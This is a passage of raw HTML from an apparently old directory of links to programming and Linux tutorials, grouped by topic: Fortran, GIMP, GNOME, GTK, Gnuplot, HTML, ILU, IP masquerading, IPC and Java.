style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.delorie.com/gnu/docs/g77/g77_1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using GNU Fortran </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.hpctec.mcc.ac.uk/hpctec/courses/Fortran90/F90course.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90: A Course for Fortran 77 Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.nsc.liu.se/f77to90.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90 for the Fortran 77 Programmer </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.stanford.edu/class/sccm001/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Fortran </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GIMP</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://empyrean.lib.ndsu.nodak.edu/~nem/gimp/tuts/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP Tutorial Index </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://imagic.weizmann.ac.il/~dov/gimp/perl-tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tutorial for Perl GIMP Users </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://imagic.weizmann.ac.il/~dov/gimp/scheme-tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Scheme Tutorial for GIMP Users </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://jgo.local.net/GimpGuide/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://manual.gimp.org/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The GIMP User Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/July2000/article113.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Pseudo 3-D with GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/March1998/article9.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Graphical Photocomposition with GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/May1998/article10.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating Text with the GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/November1999/article112.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating Fire Effects with the GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article28.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating and Editing Animations with GIMP </span></a><br />\n<a href=\"http://www.linuxgazette.com/issue51/mauerer.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP-Perl: GIMP Scripting for the Rest of Us </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.oberlin.edu/~kturner/gimp/doc/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Writing a GIMP Plugin </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.rru.com/~meo/gimp/Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP: The RRU Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.rru.com/~meo/gimp/faq-user.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP User FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.soulfry.com/script-fu/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Script-Fu Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue43/2388.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue44/2530.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue45/2531.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 3 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue46/2532.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 4 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GNOME</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://developer.gnome.org/doc/tutorials/gnome-libs/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Application Programming Using the GNOME Libraries </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome-programming/indexhtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 1: Everything You Need to Get Started </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome2/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 2: Building a Sample Genealogy Program </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome3/?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 3: Adding File Saving and Loading Using libxml </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome4/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating GTK+ Widgets with GOB: An Easier Way to Derive New GTK+ Widgets </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome5/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Handling Multipel Documents: Using the GnomeMDI Framework </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnomenclature/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Livening Things Up: Graphics Made Easy Using the GNOME Canvas </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/July2000/article160.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Developing Gnome Applications with Python &#8211; Part 1 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GTK</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://developer.gnome.org/doc/API/gdk/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GDK Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.gnome.org/doc/API/glib/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GLib Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.gnome.org/doc/API/gtk/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK+ Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gtk.org/docs/gtk_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The GIMP Toolkit </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gtk.org/faq/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK+ FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gtk.org/tutorial/gtk_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK V1.2 Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gtk.org/~otaylor/gtk/tutorial/drawing_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Drawing and Event Handling in GTK </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue47/2465.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to the GIMP Tool Kit </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Gnuplot</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/constraints.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Constrained Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/continuators.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Continuum Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/diffyq.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Differential Equation Basics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/energons.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Energy Functions and Stiffness </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/particles.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Particle System Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/pbm.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to Physically Based Modeling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid1.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Rigid Body Dynamics I </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid2.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Rigid Body Dynamics II </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cc.gatech.edu/scivis/tutorial/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Scientific Visualization Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.eng.hawaii.edu/Tutor/Gnuplot/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Gnuplot &#8211; An Interactive Plotting Program </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.webreference.com/dev/gifanim/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIF Animation Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">HTML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.charm.net/~lejeune/tables.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">HTML Table Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0789708124/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">HTML by Example </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1562764969/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">How to Use HTML 3.2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.kasparius.com/nonflash/tutorial/tut1.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating a Client-Side Image Map </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.ncsa.uiuc.edu/General/Training/AdvHTML/course.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced HTML: How to Create Complex Multimedia Documents for the Web </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.ncsa.uiuc.edu/General/Training/HTMLIntro/Intro.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The ABCs of HTML </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.sharkysoft.com/tutorials/frames/contents.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sharky&#8217;s Netscape Frames Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">ILU</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"ftp://ftp.parc.xerox.com/pub/ilu/2.0b1/manual-html/manual_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ILU Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with ANSI C: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutjava.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with Java: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutpython.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with Python: A Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">IP-Masquerading</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.linux-mag.com/1999-05/bestdefense_01.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ipchains: Packet Filtering for Linux 2.2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linux-mag.com/1999-08/guru_01.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up IP Masquerade </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxfocus.org/English/May2000/article151.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up IP-Masquerading </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxplanet.com/linuxplanet/tutorials/1241/1/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Ipchains: Easy Links to the Net </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxplanet.com/linuxplanet/tutorials/2100/1/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Linux Networking Using Ipchains </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">IPC</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://winter.cs.umn.edu/~bentlem/aunix/advipc/ipc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced 4.4BSD Interpprocess Communication Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/multi-process/multi-process.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">UNIX Multi-Process Programming and IPC </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Java</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/EJBTutorial/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Enterprise JavaBeans Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/JBShortCourse/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaBeans Short Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/JBeansAPI/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to the JavaBeans API </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Database/JDBCShortCourse/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JDBC Short Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava1/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Essentials of the Java Programming Language, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava2/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Essentials of the Java Programming Language, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/JDCBook/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Writing Advanced Applications for the Java Platform </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of Java Security </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Servlets/Fundamentals/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of Java Servlets </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/collections/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to the Collections Framework </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/corb/a\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to CORBA </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/rmi/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of RMI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocadv.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocint.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introductory </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocmed.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Intermediate </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/docs/books/jls/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Language Specification </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/docs/books/tutorial/servlets/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Tutorial: Servlet Trail </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/docs/books/vmspec/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Virtual Machine Specification (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/docs/glossary.print.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Glossary of Java and Related Terms </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/docs/white/langenv/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Java Language Environment </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/products/jlf/dg/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Look and Feel Design Guidelines </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://java.sun.com/products/servlet/articles/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Story of a Servlet: An Instant Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://javaboutique.internet.com/articles/ITJ/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Java </span></a><br />\n<a href=\"http://javaboutique.internet.com/tutorials/Java2D/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java2D: An Introduction and Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://jserv.java.sun.com/products/java-server/documentation/webserver11/servlets/servlet_tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Servlet Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://metalab.unc.edu/javafaq/javafaq.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">comp.lang.java FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://metalab.unc.edu/javafaq/javatutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Brewing Java: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://users.neca.com/vmis/java.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Shlurrrppp &#8230; Java: The First User-Friendly Tutorial on Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://web2.java.sun.com/docs/books/tutorial/uiswing/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Swing Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.apl.jhu.edu/~hall/jav/aSwing-Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Swing: A Quick Tutorial for AWT Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.bruceeckel.com/TIJ2/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Thinking in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.ccs.neu.edu/home/kenb/com3337/rmi_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java RMI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.wisc.edu/~solomon/cs537/java-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java for C++ Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.execpc.com/~gopalan/jav/ajava_tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Advanced Jav/aJ2EE Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/078970935X/\" target=\"_blank\"><span style=\"font-size: 